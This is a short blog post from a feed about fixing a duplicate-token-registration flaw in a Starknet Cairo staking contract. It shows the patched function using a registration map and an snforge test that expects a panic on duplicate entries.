&lt;p&gt;🛡️ The Second Vulnerability: Identity Crisis&lt;br&gt;
While testing the Gas DoS, I realized the contract lacked a basic check: it didn't verify if a token was already registered. An attacker could spam the same token address 500 times, inflating the loop size with zero effort and minimal cost.&lt;/p&gt;

&lt;p&gt;🛠️ The Fix: Implementing a Registration Map&lt;br&gt;
To solve this, I introduced a Map to track unique assets. In Cairo, using a LegacyMap (or the modern Map) is the most gas-efficient way to handle identity checks.&lt;/p&gt;

&lt;p&gt;Updated Contract Logic:&lt;br&gt;
Rust&lt;/p&gt;

&lt;h1&gt;
  
  
  [storage]
&lt;/h1&gt;

&lt;p&gt;struct Storage {&lt;br&gt;
    btc_tokens: Map,&lt;br&gt;
    btc_tokens_count: u32,&lt;br&gt;
    token_registered: Map, // New tracking map&lt;br&gt;
}&lt;/p&gt;

&lt;p&gt;fn add_btc_token(ref self: ContractState, token: ContractAddress) {&lt;br&gt;
    // 1. Validation: Prevent duplicate entries&lt;br&gt;
    let is_registered = self.token_registered.read(token);&lt;br&gt;
    assert(!is_registered, 'Token already registered');&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// 2. State update
let count = self.btc_tokens_count.read();
self.btc_tokens.write(count, token);
self.btc_tokens_count.write(count + 1);

// 3. Mark as registered
self.token_registered.write(token, true);
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;}&lt;br&gt;
✅ Verification with Snforge&lt;br&gt;
Security is nothing without proof. I used snforge to write a specialized test case that expects a panic when a duplicate is added.&lt;/p&gt;

&lt;p&gt;Rust&lt;/p&gt;

&lt;h1&gt;
  
  
  [test]
&lt;/h1&gt;

&lt;h1&gt;
  
  
  [should_panic(expected: ('Token already registered', ))]
&lt;/h1&gt;

&lt;p&gt;fn test_duplicate_token_registration() {&lt;br&gt;
    // ... setup ...&lt;br&gt;
    dispatcher.add_btc_token(token_address);&lt;br&gt;
    dispatcher.add_btc_token(token_address); // This must fail&lt;br&gt;
}&lt;br&gt;
Results:&lt;/p&gt;

&lt;p&gt;All 4/4 security tests passed.&lt;/p&gt;

&lt;p&gt;The "Gas Bomb" can no longer be created using duplicate addresses.&lt;/p&gt;

&lt;p&gt;Codebase refactored to modern Cairo syntax (removing core:: internal calls).&lt;/p&gt;

&lt;p&gt;🧠 Key Takeaway for Auditors&lt;br&gt;
When auditing loops, always look for the entry point. Preventing the "inflation" of data at the storage level is just as important as optimizing the loop itself.&lt;/p&gt;

&lt;p&gt;Check out the full PoC and the fix on my GitHub: &lt;a href="https://github.com/rdin777/starknet-staking_audit1" rel="noopener noreferrer"&gt;https://github.com/rdin777/starknet-staking_audit1&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  starknet #blockchain #auditing #cairo
&lt;/h1&gt;

</description>
      <category>ai</category>
      <category>blockchain</category>
      <category>security</category>
      <category>web3</category>
    </item>
  </channel>
</rss>
